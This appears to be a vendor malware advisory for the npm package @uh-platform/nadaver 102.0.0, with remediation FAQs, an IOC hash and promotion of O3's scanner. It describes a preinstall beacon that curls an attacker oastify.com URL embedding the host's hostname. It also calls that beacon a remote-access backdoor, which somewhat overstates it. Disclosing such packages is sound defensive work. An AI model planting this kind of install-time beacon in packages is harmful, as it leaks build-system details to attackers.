Which versions of @uh-platform/nadaver are malicious?

The following npm versions of @uh-platform/nadaver are flagged malicious: 102.0.0. Treat any of these as compromised.

How do I remediate @uh-platform/nadaver if I installed it?

@uh-platform/nadaver establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed @uh-platform/nadaver — how do I know if it already compromised me?

If @uh-platform/nadaver was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is @uh-platform/nadaver part of a known attack campaign?

Yes — @uh-platform/nadaver is associated with the IN-MAL-2026-020271 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @uh-platform/nadaver across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @uh-platform/nadaver (version 102.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @uh-platform/nadaver across your stack and pipelines.

Malicious package

@uh-platform/nadavernpm

@uh-platform/nadaver is a confirmed malicious npm package (MAL-2026-16360) that opens a backdoor for remote access (malicious version 102.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @uh-platform/nadaver (npm)

MAL-2026-16360

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @uh-platform/nadaver

What this malware does

On npm install, the package's preinstall script executes node index.js, which shells out curl to http://$(hostname).nadaver.pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/, embedding the installer machine's hostname as a subdomain of an attacker-controlled Burp Collaborator (oastify.com) endpoint. Both DNS resolution and the HTTP request leak the installer's hostname to the attacker on every install, with no user interaction. The @uh-platform scope combined with an unusually high version number (102.0.0) is consistent with a dependency-confusion beacon aimed at internal build systems that resolve the scope against the public npm registry.

Malicious versions

1 flagged

102.0.0

Indicators of compromise (SHA-256)

66c8fbea9d97af1bd5c48147e744ff5e0feaded686c613591e7defd2f75e2e17

Detection & response playbook

Backdoor / remote access

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @uh-platform/nadaver (version 102.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @uh-platform/nadaver across your stack and pipelines.
If you installed it — respond
@uh-platform/nadaver establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If @uh-platform/nadaver was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @uh-platform/nadaver before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @uh-platform/nadaver on npm has been identified as a malicious package (version 102.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020271

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @uh-platform/nadaver-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database